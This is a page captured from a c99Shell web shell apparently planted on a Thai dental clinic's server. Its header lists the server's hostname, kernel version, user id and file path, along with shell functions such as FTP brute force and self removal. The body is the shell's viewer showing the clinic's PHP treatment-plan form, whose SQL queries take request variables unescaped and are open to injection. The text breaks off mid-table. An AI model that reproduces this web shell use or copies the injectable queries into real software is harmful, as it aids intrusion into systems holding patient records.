!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/thaimed/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmTeach.php (40.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
//$Username = $valid_user;
include("../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
 
ConnectDB();
$sql ="select * From personal_den_tb  Where  Person_code='$Person_code' ";
$result mysql_query($sql);
$rs mysql_fetch_array($result);
$sql ="select * From  teachplan_tb  Where  Teach_id='$Teach_id' ";
$result mysql_query($sql);
$rs1 mysql_fetch_array($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.style1 {font-weight: bold}
.style10 {font-size: 12px}
.style11 {font-style : normal; text-decoration: none;}
.style2 {font-size: 18px}
.style24 {color: #000066}
.style4 {color: #FFFFFF}
.style6 {color: #003333}
.style9 {color: #0000FF}
-->
</style>
<table width="841" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="981" ><br />
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddTeach.php?Person_code=<? echo $rs[Person_code]?>">บันทึกแผนการรักษา</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />แก้ไขแผนการรักษา</font></legend>
          <label> </label>
        <div align="center">
          <form id="form1" name="form1" method="post" action="InsertTeachPlan.php">
            <table width="88%" height="445" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" style="border:1px solid gray">
              
              <tr bgcolor="#B6D0F1" background="../../Image/centerpix.gif" >
                <td height="28" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center" class="d style2"><strong><font face="Tahoma">รายละเอียดแผนการรักษา</font></strong></div></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td width="23%" height="22" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#000066" size="2" face="Tahoma">เลขที่ HN</font></div></td>
                <td width="1%" bordercolor="#CCCCCC"><div align="center"><font color="#FF0000" size="3" face="Tahoma">*</font></div></td>
                <td width="76%" nowrap="nowrap" bordercolor="#CCCCCC"><span class="style17"><font color="#000000" size="2" face="Tahoma"> <strong><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"$rs[HN_code]";
      
?>
                </font></strong></font></span></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="24" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#000066" size="2" face="Tahoma">วันที่เข้าทำการรักษา</font></div></td>
                <td bordercolor="#CCCCCC"><div align="center"><font color="#FF0000" size="3" face="Tahoma">* </font></div></td>
                <td bordercolor="#CCCCCC"><font color="#000000" size="2" face="Tahoma, MS Sans Serif">วันที่ </font><font color="#000000" size="2" face="Tahoma">
                  <select name="mDate1" id="select4" class="select" >
                    <?php
           $Date_1 
$rs1[Date_1];
           
$yearthai explode("-",$Date_1);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
                  </font><font color="#000000" size="2" face="Tahoma, MS Sans Serif"> เดือน </font><font color="#000000" size="2" face="Tahoma">
                  <select name="mMonth1" id="select5" class="select" >
                    <?php
          $Date_1 
$rs1[Date_1];
           
$yearthai explode("-",$Date_1);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear2=   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                  </select>
                  </font><font color="#000000" size="2" face="Tahoma, MS Sans Serif"> ปี พ.ศ. </font><font color="#000000" size="2" face="Tahoma">
                  <input name="mYear1" type="text" class="d" id="mYear1" value="<? echo $mYear?>" size="4" maxlength="4">
                </font></td>
              </tr>
              
              <tr bgcolor="#ECF5FF">
                <td height="24" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">ทันแพทย์ผู้รักษา</font></div></td>
                <td bordercolor="#CCCCCC"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                <td bordercolor="#CCCCCC"><font size="2" face="Tahoma"><span class="style1"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><span class="style10"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></span></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style10"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style24"><strong><font color="#003366" size="2" face="Tahoma">
                  <select name="Teacher_code"  id="Teacher_code" class="d"  >
                    <?php
            $Teacher_code 
$rs1[Teacher_code];
            
$strSQL7 "SELECT * FROM personal_tb Where  Teacher_code='$Teacher_code' ";
            
$result7 mysql_query($strSQL7);
           
$strSQL8 "SELECT * FROM  personal_tb Where  Dentis_code='01'  Order By   Teacher_code ";
             
$result8 mysql_query($strSQL8);
                 while( 
$rs7 mysql_fetch_array($result7))
                {
                echo
"<option value=\"$rs7[Teacher_code]\" ><b>$rs7[First_name]&nbsp;$rs7[Teacher_name]&nbsp; $rs7[Teacher_lastname]</b></option>\n";
                 while( 
$rs8 mysql_fetch_array($result8))
                    {
                 echo
"<option value=\"$rs8[Teacher_code]\" ><b>$rs8[First_name]&nbsp; $rs8[Teacher_name]&nbsp; $rs8[Teacher_lastname]</b></option>\n";
                }
                }
          
?>
                  </select>
                  </font></strong></span></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma">เวลาที่เริ่ม:</font><strong> <font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                  <input name="Time_in" type="text" id="Time_in" value="<? echo $rs1[Time_in]?>" size="6" />
                  </font></strong><font size="2" face="MS Sans Serif, Tahoma, sans-serif"> เวลาที่เสร็จ : <font size="2" face="Tahoma"> <strong><strong> </strong></strong><font size="2" face="MS Sans Serif, Tahoma, sans-serif"><font size="2" face="Tahoma"><strong><strong>
                  <input name="Time_out" type="text" id="Time_out" value="<? echo $rs1[Time_out]?>" size="6" />
                </strong></strong></font></font><strong><strong> </strong></strong></font></font></span></font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="24" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">นัดครั้งต่อไป</font></div></td>
                <td bordercolor="#CCCCCC"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                <td><font color="#000000" size="2" face="Tahoma, MS Sans Serif">วันที่ </font><font color="#000000" size="2" face="Tahoma">
                  <select name="mDate" id="select4" class="select" >
                    <?php
           $Date 
$rs1[Date];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
                  </font><font color="#000000" size="2" face="Tahoma, MS Sans Serif"> เดือน </font><font color="#000000" size="2" face="Tahoma">
                  <select name="mMonth" id="select5" class="select" >
                    <?php
          $Date
$rs1[Date];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear2=   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                  </select>
                  </font><font color="#000000" size="2" face="Tahoma, MS Sans Serif"> ปี พ.ศ. </font><font color="#000000" size="2" face="Tahoma">
                  <input name="mYear" type="text" class="d" id="mYear" value="<? echo $mYear?>" size="4" maxlength="4">
                  </font><font color="#000000" size="2" face="Tahoma">เวลา </font><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                  <input name="Time" type="text" id="Time" value="<? echo $rs1[Time]?>" size="10" maxlength="10" />
                </font></strong></span></font><font color="#000000" size="2" face="Tahoma">&nbsp; </font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="22" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">นัดครั้งต่อไป</font></div></td>
                <td bordercolor="#CCCCCC"><font color="#FF0000" size="3" face="Tahoma">*</font></td>
                <td bordercolor="#CCCCCC"><font size="2" face="Tahoma">
                  <input type="radio" name="Religion" <?php if (!(strcmp("$rs1[Religion]","1 เดือน"))){echo "checked";} ?>  value="1 เดือน" />
                  1 เดือน
                  <input type="radio" name="Religion" <?php if (!(strcmp("$rs1[Religion]","3 เดือน"))){echo "checked";} ?> value="3 เดือน" onkeypress="return handleEnter(this, event)" />
                  3 เดือน
                  <input type="radio" name="Religion" <?php if (!(strcmp("$rs1[Religion]","6 เดือน"))){echo "checked";} ?> value="6 เดือน" onkeypress="return handleEnter(this, event)" />
                  6 เดือน </font></td>
              </tr>
              <tr bgcolor="#ECF5FF">
                <td height="261" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC"><table width="100%" border="0" cellpadding="0" cellspacing="1">
                    <tr bgcolor="#0000FF">
                      <td height="22" colspan="2"><div align="center" class="style4">
                          <div align="center" class="style4"><font size="2" face="Tahoma">การรักษา</font></div></td>
                      <td><div align="center" class="style4"><font size="2" face="Tahoma">ซี่ฟัน</font></div></td>
                      <td colspan="2"><div align="center" class="style4">
                          <div align="center" class="style4"><font size="2" face="Tahoma">การรักษา</font></div></td>
                      <td><div align="center" class="style4"><font size="2" face="Tahoma">ซี่ฟัน</font></div></td>
                    </tr>
                    <tr>
                      <td><div align="center">
                          <input type="radio" name="Teach1" <?php if (!(strcmp("$rs1[Teach1]","X-ray"))){echo "checked";} ?> value="X-ray" />
                      </div></td>
                      <td><div align="left">
                          <p>
                            <label> </label>
                            <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">X-ray</font></strong></font> <br />
                          </p>
                      </div></td>
                      <td><div align="left"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Tooth_code1" type="text" id="Tooth_code1" value="<? echo $rs1[Tooth_code1]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></div></td>
                      <td width="4%"><p align="center">
                          <input type="radio" name="Teach7" <?php if (!(strcmp("$rs1[Teach7]","Surcigal Removal"))){echo "checked";} ?> value="Surcigal Removal " />
                          <label> </label>
                      </p></td>
                      <td width="24%"><div align="left">
                          <label> </label>
                          <font size="2" face="Tahoma"><strong><font color="#003366">Surcigal Removal </font></strong></font> </div></td>
                      <td><div align="left"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Tooth_code7" type="text" id="Tooth_code7" value="<? echo $rs1[Tooth_code7]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></div></td>
                    </tr>
                    <tr>
                      <td><div align="center"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach2"  <?php if (!(strcmp("$rs1[Teach2]","Scaling"))){echo "checked";} ?> value="Scaling " />
                      </font></strong></font></div></td>
                      <td><div align="left">
                          <p>
                            <label> </label>
                            <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">Scaling </font></strong></font> <br />
                          </p>
                      </div></td>
                      <td><div align="left"> </div></td>
                      <td><p align="center"><font size="2" face="Tahoma">
                          <input type="radio" name="Teach8" <?php if (!(strcmp("$rs1[Teach8]","Temporary Plate"))){echo "checked";} ?>  value="Temporary Plate " />
                          </font>
                              <label> </label>
                      </p></td>
                      <td><div align="left"><font size="2" face="Tahoma">
                          <label> </label>
                          <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">Temporary Plate </font></strong></font> </font></div></td>
                      <td><div align="left"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Tooth_code8" type="text" id="Tooth_code8" value="<? echo $rs1[Tooth_code8]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font> </strong></font> </div></td>
                    </tr>
                    <tr>
                      <td><div align="center"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach3" <?php if (!(strcmp("$rs1[Teach3]","tooth Bleaching"))){echo "checked";} ?>  value="tooth Bleaching " />
                      </font></strong></font> </strong></font></strong></font></strong></font></div></td>
                      <td><div align="left"><font size="2" face="Tahoma"><strong> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> tooth Bleaching</font></strong></font></strong> </font></div></td>
                      <td><div align="left"> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Tooth_code3" type="text" id="Tooth_code3" value="<? echo $rs1[Tooth_code3]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font> </div></td>
                      <td><p align="center"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach9" <?php if (!(strcmp("$rs1[Teach9]","Complete Denture"))){echo "checked";} ?> value="Complete Denture " />
                          </font></strong></font>
                              <label> </label>
                      </p></td>
                      <td><div align="left"> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <label> </label>
                          <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">Complete Denture </font></strong></font> </font></strong></font></div></td>
                      <td><div align="left"></div></td>
                    </tr>
                    <tr>
                      <td><div align="center"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach4"  <?php if (!(strcmp("$rs1[Teach4]","Filling"))){echo "checked";} ?> value="Filling" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></div></td>
                      <td><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> Filling</font></strong> </font></td>
                      <td><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                        <input name="Tooth_code4" type="text" id="Tooth_code4" value="<? echo $rs1[Tooth_code4]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></td>
                      <td><div align="center">
                          <input type="radio" name="Teach10" <?php if (!(strcmp("$rs1[Teach10]","Single Denture"))){echo "checked";} ?> value="Single Denture " />
                      </div></td>
                      <td><div align="left">
                          <label> </label>
                          <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">Single Denture</font></strong></font> </div></td>
                      <td><div align="left"></div></td>
                    </tr>
                    <tr>
                      <td><div align="center"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach5" <?php if (!(strcmp("$rs1[Teach5]","RCT"))){echo "checked";} ?> value=" RCT" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></div></td>
                      <td><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> RCT</font></strong></font> </td>
                      <td><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                        <input name="Tooth_code5" type="text" id="Tooth_code5" value="<? echo $rs1[Tooth_code5]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></td>
                      <td><div align="center">
                          <input type="radio" name="Teach11" <?php if (!(strcmp("$rs1[Teach11]","Crown"))){echo "checked";} ?> value="Crown " />
                      </div></td>
                      <td><div align="left">
                          <label> </label>
                          <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">Crown</font></strong></font> </div></td>
                      <td><div align="left"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Tooth_code11" type="text" id="Tooth_code11" value="<? echo $rs1[Tooth_code11]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></div></td>
                    </tr>
                    <tr>
                      <td width="4%"><div align="center"><font size="2" face="Tahoma"><strong> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach6" <?php if (!(strcmp("$rs1[Teach6]","Extraction"))){echo "checked";} ?>  value="Extraction" />
                      </font></strong></font> </strong></font></div></td>
                      <td width="23%"><div align="left"><font size="2" face="Tahoma"><strong> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> Extraction</font></strong> </font> </strong></font></div></td>
                      <td width="18%"><div align="left"> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Tooth_code6" type="text" id="Tooth_code6" value="<? echo $rs1[Tooth_code6]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font> </div></td>
